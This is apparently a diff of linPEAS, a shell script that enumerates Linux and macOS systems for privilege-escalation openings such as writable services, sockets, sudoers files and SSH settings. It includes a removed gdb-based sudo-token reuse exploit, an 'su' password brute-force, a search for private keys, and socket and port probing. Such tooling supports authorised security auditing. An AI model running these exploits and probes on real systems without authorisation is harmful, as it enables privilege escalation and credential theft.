|
||||||
|
|
||||||
print_2title "SPStartupItemDataType"
|
|
||||||
system_profiler SPStartupItemDataType
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
print_2title "Emond scripts"
|
|
||||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond"
|
|
||||||
ls -l /private/var/db/emondClients
|
|
||||||
echo ""
|
echo ""
|
||||||
fi
|
fi
|
||||||
|
|
||||||
#-- PCS) Services
|
|
||||||
if [ "$EXTRA_CHECKS" ]; then
|
|
||||||
print_2title "Services"
|
|
||||||
print_info "Search for outdated versions"
|
|
||||||
(service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl"
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
#-- PSC) systemd PATH
|
|
||||||
print_2title "Systemd PATH"
|
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths"
|
|
||||||
systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g"
|
|
||||||
WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders")
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
#-- PSC) .service files
|
#-- PSC) .service files
|
||||||
#TODO: .service files in MACOS are folders
|
#TODO: .service files in MACOS are folders
|
||||||
print_2title "Analyzing .service files"
|
print_2title "Analyzing .service files"
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services"
|
||||||
printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do
|
printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do
|
||||||
if [ ! -O "$s" ]; then #Remove services that belongs to the current user
|
if [ ! -O "$s" ] || [ "$SEARCH_IN_FOLDER" ]; then #Remove services that belongs to the current user or if firmware see everything
|
||||||
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then
|
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g"
|
echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g"
|
||||||
fi
|
fi
|
||||||
servicebinpaths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') #Get invoked paths
|
servicebinpaths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') #Get invoked paths
|
||||||
@@ -152,12 +211,12 @@ printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do
|
|||||||
fi
|
fi
|
||||||
done
|
done
|
||||||
relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' "$s" 2>/dev/null | grep -Iv "=/")
|
relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' "$s" 2>/dev/null | grep -Iv "=/")
|
||||||
relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null | grep -Ev "/[a-zA-Z0-9_]+/")
|
relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null)
|
||||||
if [ "$relpath1" ] || [ "$relpath2" ]; then
|
if [ "$relpath1" ] || [ "$relpath2" ]; then
|
||||||
if [ "$WRITABLESYSTEMDPATH" ]; then
|
if [ "$WRITABLESYSTEMDPATH" ]; then
|
||||||
echo "$s is executing some relative path" | sed -${E} "s,.*,${SED_RED},";
|
echo "$s could be executing some relative path" | sed -${E} "s,.*,${SED_RED},";
|
||||||
else
|
else
|
||||||
echo "$s is executing some relative path"
|
echo "$s could be executing some relative path"
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
@@ -165,17 +224,19 @@ done
|
|||||||
if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi
|
if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
#-- PSC) Timers
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
print_2title "System timers"
|
#-- PSC) Timers
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
|
print_2title "System timers"
|
||||||
(systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
|
||||||
echo ""
|
(systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
#-- PSC) .timer files
|
#-- PSC) .timer files
|
||||||
print_2title "Analyzing .timer files"
|
print_2title "Analyzing .timer files"
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
|
||||||
printf "%s\n" "$PSTORAGE_TIMER" | while read t; do
|
printf "%s\n" "$PSTORAGE_TIMER" | while read t; do
|
||||||
if ! [ "$IAMROOT" ] && [ -w "$t" ]; then
|
if ! [ "$IAMROOT" ] && [ -w "$t" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
echo "$t" | sed -${E} "s,.*,${SED_RED},g"
|
echo "$t" | sed -${E} "s,.*,${SED_RED},g"
|
||||||
fi
|
fi
|
||||||
timerbinpaths=$(grep -Po '^Unit=*(.*?$)' $t 2>/dev/null | cut -d '=' -f2)
|
timerbinpaths=$(grep -Po '^Unit=*(.*?$)' $t 2>/dev/null | cut -d '=' -f2)
|
||||||
@@ -197,7 +258,7 @@ if ! [ "$IAMROOT" ]; then
|
|||||||
print_2title "Analyzing .socket files"
|
print_2title "Analyzing .socket files"
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
|
||||||
printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do
|
printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do
|
||||||
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then
|
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g"
|
echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g"
|
||||||
fi
|
fi
|
||||||
socketsbinpaths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
|
socketsbinpaths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
|
||||||
@@ -215,22 +276,29 @@ if ! [ "$IAMROOT" ]; then
|
|||||||
done
|
done
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
print_2title "Unix Sockets Listening"
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
|
print_2title "Unix Sockets Listening"
|
||||||
# Search sockets using netstat and ss
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
|
||||||
unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1)
|
# Search sockets using netstat and ss
|
||||||
if ! [ "$unix_scks_list" ];then
|
unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1)
|
||||||
unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+")
|
if ! [ "$unix_scks_list" ];then
|
||||||
fi
|
unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+")
|
||||||
if ! [ "$unix_scks_list" ];then
|
fi
|
||||||
unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2)
|
if ! [ "$unix_scks_list" ];then
|
||||||
|
unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2)
|
||||||
|
fi
|
||||||
|
unix_scks_list3=$(lsof -U 2>/dev/null | awk '{print $9}' | grep "/")
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# But also search socket files
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
unix_scks_list2=$(find / -type s 2>/dev/null)
|
# But also search socket files
|
||||||
|
unix_scks_list2=$(find / -type s 2>/dev/null)
|
||||||
|
else
|
||||||
|
unix_scks_list2=$(find "SEARCH_IN_FOLDER" -type s 2>/dev/null)
|
||||||
|
fi
|
||||||
|
|
||||||
# Detele repeated dockets and check permissions
|
# Detele repeated dockets and check permissions
|
||||||
(printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2") | sort | uniq | while read l; do
|
(printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2" && printf "%s\n" "$unix_scks_list3") | sort | uniq | while read l; do
|
||||||
perms=""
|
perms=""
|
||||||
if [ -r "$l" ]; then
|
if [ -r "$l" ]; then
|
||||||
perms="Read "
|
perms="Read "
|
||||||
@@ -238,10 +306,20 @@ if ! [ "$IAMROOT" ]; then
|
|||||||
if [ -w "$l" ];then
|
if [ -w "$l" ];then
|
||||||
perms="${perms}Write"
|
perms="${perms}Write"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
if [ "$EXTRA_CHECKS" ] && [ "$(command -v curl)" ]; then
|
||||||
|
CANNOT_CONNECT_TO_SOCKET="$(curl -v --unix-socket "$l" --max-time 1 http:/linpeas 2>&1 | grep -i 'Permission denied')"
|
||||||
|
if ! [ "$CANNOT_CONNECT_TO_SOCKET" ]; then
|
||||||
|
perms="${perms} - Can Connect"
|
||||||
|
else
|
||||||
|
perms="${perms} - Cannot Connect"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
if ! [ "$perms" ]; then echo "$l" | sed -${E} "s,$l,${SED_GREEN},g";
|
if ! [ "$perms" ]; then echo "$l" | sed -${E} "s,$l,${SED_GREEN},g";
|
||||||
else
|
else
|
||||||
echo "$l" | sed -${E} "s,$l,${SED_RED},g"
|
echo "$l" | sed -${E} "s,$l,${SED_RED},g"
|
||||||
echo " └─(${RED}${perms}${NC})"
|
echo " └─(${RED}${perms}${NC})" | sed -${E} "s,Cannot Connect,${SED_GREEN},g"
|
||||||
# Try to contact the socket
|
# Try to contact the socket
|
||||||
socketcurl=$(curl --max-time 2 --unix-socket "$s" http:/index 2>/dev/null)
|
socketcurl=$(curl --max-time 2 --unix-socket "$s" http:/index 2>/dev/null)
|
||||||
if [ $? -eq 0 ]; then
|
if [ $? -eq 0 ]; then
|
||||||
@@ -260,7 +338,7 @@ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-b
|
|||||||
if [ "$PSTORAGE_DBUS" ]; then
|
if [ "$PSTORAGE_DBUS" ]; then
|
||||||
printf "%s\n" "$PSTORAGE_DBUS" | while read d; do
|
printf "%s\n" "$PSTORAGE_DBUS" | while read d; do
|
||||||
for f in $d/*; do
|
for f in $d/*; do
|
||||||
if ! [ "$IAMROOT" ] && [ -w "$f" ]; then
|
if ! [ "$IAMROOT" ] && [ -w "$f" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g"
|
echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
@@ -282,19 +360,21 @@ if [ "$PSTORAGE_DBUS" ]; then
|
|||||||
fi
|
fi
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
print_2title "D-Bus Service Objects list"
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
|
print_2title "D-Bus Service Objects list"
|
||||||
dbuslist=$(busctl list 2>/dev/null)
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
|
||||||
if [ "$dbuslist" ]; then
|
dbuslist=$(busctl list 2>/dev/null)
|
||||||
busctl list | while read line; do
|
if [ "$dbuslist" ]; then
|
||||||
echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},";
|
busctl list | while read line; do
|
||||||
if ! echo "$line" | grep -qE "$dbuslistG"; then
|
echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},";
|
||||||
srvc_object=$(echo $line | cut -d " " -f1)
|
if ! echo "$line" | grep -qE "$dbuslistG"; then
|
||||||
srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ')
|
srvc_object=$(echo $line | cut -d " " -f1)
|
||||||
if [ "$srvc_object_info" ]; then
|
srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ')
|
||||||
echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED},"
|
if [ "$srvc_object_info" ]; then
|
||||||
|
echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED},"
|
||||||
|
fi
|
||||||
fi
|
fi
|
||||||
fi
|
done
|
||||||
done
|
else echo_not_found "busctl"
|
||||||
else echo_not_found "busctl"
|
fi
|
||||||
fi
|
fi
|
||||||
|
|||||||
@@ -24,7 +24,7 @@ fi
|
|||||||
#-- NI) Interfaces
|
#-- NI) Interfaces
|
||||||
print_2title "Interfaces"
|
print_2title "Interfaces"
|
||||||
cat /etc/networks 2>/dev/null
|
cat /etc/networks 2>/dev/null
|
||||||
(ifconfig || ip a) 2>/dev/null
|
(ifconfig || ip a || (cat /proc/net/dev; cat /proc/net/fib_trie; cat /proc/net/fib_trie6)) 2>/dev/null
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
#-- NI) Neighbours
|
#-- NI) Neighbours
|
||||||
@@ -54,7 +54,7 @@ fi
|
|||||||
#-- NI) Ports
|
#-- NI) Ports
|
||||||
print_2title "Active Ports"
|
print_2title "Active Ports"
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports"
|
||||||
( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},"
|
( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},g"
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
#-- NI) MacOS hardware ports
|
#-- NI) MacOS hardware ports
|
||||||
@@ -155,6 +155,10 @@ if [ "$AUTO_NETWORK_SCAN" ]; then
|
|||||||
echo ""
|
echo ""
|
||||||
fi
|
fi
|
||||||
done
|
done
|
||||||
|
|
||||||
|
print_3title "Scanning top ports of host.docker.internal"
|
||||||
|
(tcp_port_scan "host.docker.internal" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null
|
||||||
|
echo ""
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
|||||||
@@ -68,7 +68,7 @@ fi
|
|||||||
if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then
|
if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then
|
||||||
echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||||
fi
|
fi
|
||||||
for filename in '/etc/sudoers.d/*'; do
|
for filename in /etc/sudoers.d/*; do
|
||||||
if [ -r "$filename" ]; then
|
if [ -r "$filename" ]; then
|
||||||
echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g"
|
echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g"
|
||||||
grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g"
|
grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g"
|
||||||
@@ -80,27 +80,29 @@ echo ""
|
|||||||
print_2title "Checking sudo tokens"
|
print_2title "Checking sudo tokens"
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens"
|
||||||
ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
|
ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
|
||||||
if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0)" | sed "s,is disabled,${SED_RED},g";
|
if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then
|
||||||
else echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g";
|
echo "ptrace protection is disabled (0), so sudo tokens could be abused" | sed "s,is disabled,${SED_RED},g";
|
||||||
fi
|
|
||||||
is_gdb="$(command -v gdb 2>/dev/null)"
|
if [ "$(command -v gdb 2>/dev/null)" ]; then
|
||||||
if [ "$is_gdb" ]; then echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g";
|
echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g";
|
||||||
else echo "gdb wasn't found in PATH, this might still be vulnerable but linpeas won't be able to check it" | sed "s,gdb,${SED_GREEN},g";
|
|
||||||
fi
|
|
||||||
if [ ! "$SUPERFAST" ] && [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ] && [ "$is_gdb" ]; then
|
|
||||||
echo "Checking for sudo tokens in other shells owned by current user"
|
|
||||||
for pid in $(pgrep '^(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$' -u "$(id -u)" 2>/dev/null | grep -v "^$$\$"); do
|
|
||||||
echo "Injecting process $pid -> "$(cat "/proc/$pid/comm" 2>/dev/null)
|
|
||||||
echo 'call system("echo | sudo -S touch /tmp/shrndom32r2r >/dev/null 2>&1 && echo | sudo -S chmod 777 /tmp/shrndom32r2r >/dev/null 2>&1")' | gdb -q -n -p "$pid" >/dev/null 2>&1
|
|
||||||
if [ -f "/tmp/shrndom32r2r" ]; then
|
|
||||||
echo "Sudo token reuse exploit worked with pid:$pid! (see link)" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
|
||||||
break
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
if [ -f "/tmp/shrndom32r2r" ]; then
|
|
||||||
rm -f /tmp/shrndom32r2r 2>/dev/null
|
|
||||||
else echo "The escalation didn't work... (try again later?)"
|
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
if [ "$CURRENT_USER_PIVOT_PID" ]; then
|
||||||
|
echo "The current user proc $CURRENT_USER_PIVOT_PID is the parent of a different user proccess" | sed -${E} "s,.*,${SED_RED},g";
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -f "$HOME/.sudo_as_admin_successful" ]; then
|
||||||
|
echo "Current user has .sudo_as_admin_successful file, so he can execute with sudo" | sed -${E} "s,.*,${SED_RED},";
|
||||||
|
fi
|
||||||
|
|
||||||
|
if ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -qE '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'; then
|
||||||
|
echo "Current user has other interactive shells running: " | sed -${E} "s,.*,${SED_RED},g";
|
||||||
|
ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -E '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'
|
||||||
|
fi
|
||||||
|
|
||||||
|
else
|
||||||
|
echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g";
|
||||||
|
|
||||||
fi
|
fi
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
@@ -212,8 +214,7 @@ if [ "$EXTRA_CHECKS" ]; then
|
|||||||
fi
|
fi
|
||||||
|
|
||||||
#-- UI) Brute su
|
#-- UI) Brute su
|
||||||
EXISTS_SUDO="$(command -v sudo 2>/dev/null)"
|
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ]; then
|
||||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ] && [ "$EXISTS_SUDO" ]; then
|
|
||||||
print_2title "Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds\n"$NC
|
print_2title "Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds\n"$NC
|
||||||
POSSIBE_SU_BRUTE=$(check_if_su_brute);
|
POSSIBE_SU_BRUTE=$(check_if_su_brute);
|
||||||
if [ "$POSSIBE_SU_BRUTE" ]; then
|
if [ "$POSSIBE_SU_BRUTE" ]; then
|
||||||
@@ -226,6 +227,6 @@ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ] &&
|
|||||||
printf $GREEN"It's not possible to brute-force su.\n\n"$NC
|
printf $GREEN"It's not possible to brute-force su.\n\n"$NC
|
||||||
fi
|
fi
|
||||||
else
|
else
|
||||||
print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I can't do it...)\n"$NC
|
print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I don't do it in FAST mode...)\n"$NC
|
||||||
fi
|
fi
|
||||||
print_2title "Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\n"$NC
|
print_2title "Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\n"$NC
|
||||||
|
|||||||
@@ -5,14 +5,14 @@
|
|||||||
NGINX_KNOWN_MODULES="ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so"
|
NGINX_KNOWN_MODULES="ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so"
|
||||||
|
|
||||||
#-- SI) Useful software
|
#-- SI) Useful software
|
||||||
if ! [ "SEARCH_IN_FOLDER" ]; then
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
print_2title "Useful software"
|
print_2title "Useful software"
|
||||||
for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done
|
for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done
|
||||||
echo ""
|
echo ""
|
||||||
fi
|
fi
|
||||||
|
|
||||||
#-- SI) Search for compilers
|
#-- SI) Search for compilers
|
||||||
if ! [ "SEARCH_IN_FOLDER" ]; then
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
print_2title "Installed Compilers"
|
print_2title "Installed Compilers"
|
||||||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/");
|
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/");
|
||||||
echo ""
|
echo ""
|
||||||
@@ -129,9 +129,9 @@ if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then
|
|||||||
done
|
done
|
||||||
fi
|
fi
|
||||||
|
|
||||||
mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep "lib_mysqludf_sys\.so")
|
mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep -Ev '^lib_mysqludf_sys.so:$' | grep "lib_mysqludf_sys\.so")
|
||||||
if [ "$mysqlexec" ]; then
|
if [ "$mysqlexec" ]; then
|
||||||
echo "Found $mysqlexec"
|
echo "Found $mysqlexec. $(whereis lib_mysqludf_sys.so)"
|
||||||
echo "If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');" | sed -${E} "s,.*,${SED_RED},"
|
echo "If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');" | sed -${E} "s,.*,${SED_RED},"
|
||||||
fi
|
fi
|
||||||
done
|
done
|
||||||
@@ -221,20 +221,30 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then
|
|||||||
hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)"
|
hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)"
|
||||||
hostsallow="$(ls /etc/hosts.allow 2>/dev/null)"
|
hostsallow="$(ls /etc/hosts.allow 2>/dev/null)"
|
||||||
writable_agents=$(find /tmp /etc /home -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
|
writable_agents=$(find /tmp /etc /home -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
|
||||||
|
else
|
||||||
|
sshconfig="$(ls ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null)"
|
||||||
|
hostsdenied="$(ls ${ROOT_FOLDER}etc/hosts.denied 2>/dev/null)"
|
||||||
|
hostsallow="$(ls ${ROOT_FOLDER}etc/hosts.allow 2>/dev/null)"
|
||||||
|
writable_agents=$(find ${ROOT_FOLDER} -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
|
||||||
fi
|
fi
|
||||||
|
|
||||||
peass{SSH}
|
peass{SSH}
|
||||||
|
|
||||||
grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED},"
|
grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED},"
|
||||||
|
|
||||||
if [ "$TIMEOUT" ]; then
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null)
|
if [ "$TIMEOUT" ]; then
|
||||||
